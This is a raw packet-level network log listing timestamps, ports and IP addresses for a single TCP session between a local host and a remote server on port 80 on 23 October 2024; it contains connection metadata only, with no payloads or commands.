Oct 23, 2024 15:48:19.347333908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347347975 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347366095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347374916 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347379923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347390890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347403049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347404957 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347413063 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347434044 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347460032 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347460032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347470999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347481012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347493887 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347503901 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347505093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347517967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347528934 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347534895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347573042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347584009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347594023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347600937 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347618103 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347629070 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347640038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347645998 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347659111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347668886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347676992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347708941 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347712994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347726107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347735882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347747087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347760916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347770929 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347800016 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347858906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347871065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347881079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347892046 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347903967 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347903967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347917080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347923994 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347928047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347939968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347948074 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347954035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347965002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347981930 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348005056 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348045111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348054886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348064899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348078012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348088980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348099947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348110914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348121881 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348133087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348134995 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348134995 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348134995 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348154068 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348170042 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348196983 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348208904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348222017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348233938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348247051 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348248959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348261118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348273039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348277092 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348299980 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348352909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348365068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348373890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348469019 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348469019 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348481894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348494053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348504066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348526955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348537922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348548889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348551035 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348560095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348571062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348575115 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348583937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348597050 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348628998 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348639011 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348650932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348659992 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348681927 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348694086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348707914 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348710060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348722935 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348735094 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348750114 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348752022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348766088 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348774910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348788023 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348793030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348803997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348807096 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348819017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348845959 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348874092 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348891020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348922014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348932981 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348944902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348956108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.348958015 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.348994970 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349018097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349030018 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349046946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349056959 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349057913 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349071026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349082947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349087000 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349093914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349109888 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349124908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349129915 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349138975 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349152088 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349163055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349185944 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349209070 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349239111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349251986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349261999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349287033 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349292040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349303961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349315882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349327087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349339962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349347115 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349380016 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349570990 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349601030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349617004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349627972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349639893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349639893 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349653959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349667072 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349667072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349689007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349711895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349714994 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349728107 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349729061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349741936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349752903 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349765062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349766016 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349776983 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349787951 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349796057 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349798918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349812031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349822044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349828005 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349837065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349839926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349853992 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349864960 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.349868059 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349889040 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.349967003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350008011 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350069046 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350080013 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350096941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350107908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350114107 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350121021 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350132942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350147963 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350151062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350163937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350174904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350182056 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350187063 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350203037 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350205898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350219011 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350230932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350243092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350260019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350260019 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350281000 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350320101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350337982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350356102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350363970 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350368977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350380898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350399017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350399017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350413084 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350425005 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350430012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350442886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350447893 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350454092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350466013 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350476980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350480080 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350498915 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350507021 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350518942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350545883 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350555897 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350557089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350595951 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.350930929 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350943089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350954056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.350981951 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.351015091 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351015091 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.351028919 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351039886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351051092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351074934 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.351075888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351089954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351100922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351111889 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.351113081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351125956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351141930 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.351175070 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.351876020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351886988 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351898909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351922989 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.351947069 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351950884 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.351959944 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351972103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351983070 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.351994038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.352015972 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.352041960 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.356462002 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.458125114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458169937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458182096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458194971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458209038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458220959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458234072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458241940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458240032 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.458261013 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458273888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458283901 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.458286047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458298922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458308935 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458314896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458324909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458324909 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.458348036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458367109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458369970 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.458386898 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.458528996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458571911 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.458580971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458616972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458655119 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.458669901 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458714962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458753109 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.458765030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458797932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458832026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458834887 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.458867073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458904028 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.458916903 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458950043 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458982944 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.458986998 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.459017038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459053993 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.459065914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459100008 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459136009 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.459136963 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459171057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459208965 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.459208965 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459259033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459294081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459297895 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.459384918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459423065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459425926 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.459455967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459490061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459495068 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.459523916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459561110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459566116 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.459595919 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459629059 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459639072 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.459664106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459697962 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.459716082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459748983 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459788084 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.459799051 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459832907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459871054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459872007 CEST	49713	80	192.168.2.5	185.215.113.16
